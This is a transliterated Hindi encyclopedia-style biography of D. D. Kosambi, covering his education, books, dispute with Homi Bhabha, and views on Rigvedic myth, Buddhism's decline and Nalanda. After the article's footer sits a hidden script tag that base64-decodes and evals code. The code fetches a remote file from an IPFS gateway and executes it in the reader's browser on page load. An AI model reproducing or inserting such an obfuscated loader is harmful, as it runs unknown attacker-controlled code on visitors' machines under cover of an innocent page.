दामोदर धर्मानंद कोसांबी
damodar dharmanand kosaanbi
| |
| poora nam | damodar dharmanand kosaanbi |
| janm | 31 julaee, 1907 |
| janm bhoomi | gova |
| mrityu | 29 joon, 1966 |
| karm bhoomi | bharat |
| karm-kshetr | anusandhan |
| prasiddhi | vidvan, bhasha-vaijnanik aur ganitajn |
| vishesh yogadan | damodar dharmanand ji ka prachin bharatiy itihas aur sanskriti ke kshetr mean vishesh yogadan raha hai. |
| nagarikata | bharatiy |
| any janakari | varsh 1946 mean damodar dharmanand kosaanbi ko 'tata ianstityoot aauf phandameantal risarch' mean amantrit kiya gaya tha, jahaan ye 16 varsh tak kam karate rahe. |
damodar dharmanand kosaanbi (aangrezi: Damodar Dharmananda Kosambi, janm- 31 julaee, 1907, gova; mrityu- 29 joon, 1966) bharat ke prasiddh vidvan, bhasha-vaijnanik aur ganitajn the. ganit ke atirikt bharat ke itihas aur sanskriti mean bhi inaka atulaniy yogadan raha hai. damodar dharmanand ji ne solah varshoan tak 'tata ianstityoot aauf phandameantal risarch' mean apani sevaean di thian. homi bhabha ke sath apane kuchh vivadoan ke chalate inhean sansthan se hata diya gaya tha. inhoanne kuchh granth bhi likhe the, jo bahut hi mahattvapoorn haian.
jivan parichay
damodar dharmanand kosaanbi ka janm 31 julaee, 1907 ee. ko gova mean hua tha. dharmanand prachin bharatiy itihas ke prasiddh vidvan, bhasha-vaijnanik aur ganitajn mane jate the. inake pita bauddh dharm ke prakaand vidvanh the aur as-pas ke kshetr mean bahut prasiddh the.
shiksha
dharmanand kosaanbi amerika ke 'haravard vishvavidyalay' mean adhyapak the. at: unaki sari shiksha amerika mean huee thi. unake adhyan ke mukhy vishay the- ganit, itihas aur bhasha vijnan. shiksha poori karane ke bad unhoanne kuchh varshoan tak 'kashi hindoo vishvavidyalay' aur 'aligadh muslim vishvavidyalay' mean adhyapan kiya aur usake bad 1932 mean ganit ke prophesar banakar poona ke 'fargyoosan k aaulej' chale ge. 1946 mean unhean 'tata ianstityoot aauf phandameantal risarch' mean amantrit kiya gaya, jahaan ve 16 varsh tak kam karate rahe.[1]
yogadan
ganit ke atirikt damodar dharmanand ka ullekhaniy yogadan prachin bharatiy itihas aur sanskriti ke kshetr mean bhi raha. unhoanne kuchh mahattvapoorn granthoan ki bhi rachana ki thi, jinamean se pramukh haian-
- 'mith eand riyaliti'
- 'stadiz in d pharmeshan aauf iandiyan kalchar'
- 'd kalchar eand sivilaizeshan aauf eansheant iandiya in historikal autalain'.
|
chitr:Blockquote-open.gif
rrigved mean deviyoan ki sankhya mean apekshakrit kami is bat ka praman hai ki is kal mean ary mahilaoan ki vastav mean kami thi.[2]
chitr:Blockquote-close.gif - damodar dharmanand kosaanbi
|
damodar dharmanand ji ne pashchim ke itihasakaroan ki is sthapana ka tarkapoorn khandan kiya ki bharat ki purani sabhyata bahari prabhav ka parinam hai. unaki manyata thi ki bharat ki apani aantarik paristhitiyoan ka parinam tha.
bhabha se matabhed
pandit javaharalal neharoo ke priy patr homi jahaangir bhabha ke sath matabhed ke karan prakhar vaijnanik chintak, ganitajn, samajashastri aur itihasakar damodar dharmanand kosaanbi ka 'ti.aee.eph.ar' mean rahate hue bharat ke sandarbh mean paramanu oorja ki tulana mean saur oorja ko shreshth thaharane ka mukhar aur ghoshit tark tha. apane isi vishvas ke chalate unhean homi bhabha ne apane sansthan se hata diya tha. damodar dharmanand ji ke uthaye muddoan par bad mean bhi shasan dvara aksar savaloan ko yatha sanbhav dabaya gaya aur oorja ke vaikalpik sadhanoan ki anadekhi ki gayi.[3]
pururava-urvashi aur kosaanbi
[[chitr:D-D-kodambi.jpg|thumb|samman mean jari dak tikat]] 1951 mean damodar dharmanand kosaanbi ne urvashi-pururava prasang se sanbandhit 18 rrigvaidik rrichaoan ko roman lipi mean prakashit kiya aur sath mean sarasari tippani ke sath inaka shabdanuvad bhi diya. thik yahian se shuroo huee unaki khoj ka natija tha isake das sal bad aee unaki kalajayi kriti 'mith aiand riyaliti' ka doosara adhyay 'urvashi aiand pururavas'. adhyay ki shuruat kalidas ke natak 'vikramorvashiyamh' ke sar-sankshep ki prastuti se hoti hai, jisamean urvashi ko iandr ke darabar ki nartaki mana gaya hai. nrity ke samay urvashi ke muanh se iandr ke lie 'purushottam' ki bajay galati se 'pururavas' nikal jane ke evaj mean use mrityulok jane ki saja sunaee jati hai. yahaan matr ek sal mean samapt ho jane ke lie abhishapt urvashi aur pururava ka prem is natak ki jatil kathavastu ka adhar banata hai. is kisse ka sar-sankshep prastut karake kosaanbi sidhe shatapath brahman, aur vahaan se rrigved ki taraph mu d jate haian, jo urvashi ke mithak ka udgam srot hai.[4]
bharat mean bauddh dharm ki kshay
eesa poorv 1750 ke as-pas ary bhasha-bhashi kabile bharat ane lage aur yahaan basane lage. ary bhashi kabiloan ka dharm prakriti shakti ke devataoan par adharit tha aur yah dharm bharat ka bhi dharm ban gaya. eesa poorv 800-900 ke asapas lohe ke hal se kheti shuroo huee, aur eesa poorv 500 ke asapas jain aur bauddh dharm ne dharm ke roop mean paida kie ge jo ary dharm se alag the. bauddh dharm poore desh mean phail gaya, aur desh se bahar chin, japan, barma, dakshinapoorv eshiya se indoneshiya tak phail gaya. chandragupt, ashok, harshavardhan jaise b de-b de samratoan ne is dharm ko apanaya. yah dharm lagabhag 1500 varshoan tak bharat ka dharm raha. magar 900-1000 eesa pashchath tak ate-ate bauddh dharm bahari duniya mean phala-phoola magar bharat mean mit gaya. yah ek prakhyat aitihasik rahasy hai jisase kee vidvanh samay-samay par joojhate rahe haian. ek aise vidvanh hue haian-damodar dharmanand kosaanbi, jo adhunik bharat mean itihas shastr ke janak mane jate haian.[5]
nalanda ke sanbandh mean kosaanbi ke vichar
itihasakar damodar dharmanand kosaanbi ne likha hai ki nalanda ka abhyuday nag-pooja sthaloan se hua hai. kabhi-kabhi vishesh avasaroan par bhikshuoan se bhojan prapt karane ke lie adim nag dayalu sarp ke roop mean prakat hota tha. bauddh kathaoan mean bhi sarpanag ke bare mean janakari milati hai. buddh ne adivasi nagoan ko apane dharm mean dikshit kiya tha, vishaile sarp ko adhikar mean kiya tha. muchaliand namak daivi nag ne prakriti ke prakop se usaki raksha ki thi, aur vah apane poorvajanm mean ek ubhayaroop sahivak nag bhi tha. aisa anuman lagaya ja sakata hai ki nalanda ka bauddh kendr ke roop mean vikas dhire-dhire tatha nag kabile ke logoan ke vyapak dharmaantaran ke karan hua tha. krishi ke vyapak prasar ke phalasvaroop nag jaisi adim kabilaee jatiyaan samay ke parivartan se apane ko bacha nahian sakian.[6]
nidhan
bharat ke is mahanh pratibha sampann prasiddh vaijnanik, bhasha vijnani aur ganitajn damodar dharmanand kosaanbi ka nidhan 29 joon, 1966 ko hua.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ sharma, liladhar bharatiy charit kosh (hindi). bharat diskavari pustakalay: shiksha bharati, dilli, prishth 379.
- ↑ di. di. kosaanbi, ain iantrodakshan too d stadi aauph iandiyan histri, 1985, prishth 85
- ↑ vaikalpik oorja (hindi). . abhigaman tithi: 24 aprail, 2013.
- ↑ pururava-urvashi aur didi kosaanbi (hiandi) pahaloo. abhigaman tithi: 29 joon, 2013.
- ↑ bharat mean bauddh dharm ki kshay – damodar dharmanand kosaanbi (hiandi) bharat ke bhavi pradhanamantri ki jabani. abhigaman tithi: 29 joon, 2013.
- ↑ nalanda: ek nee drishti (hiandi) rajuranjanprasad. abhigaman tithi: 29 joon, 2013.
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>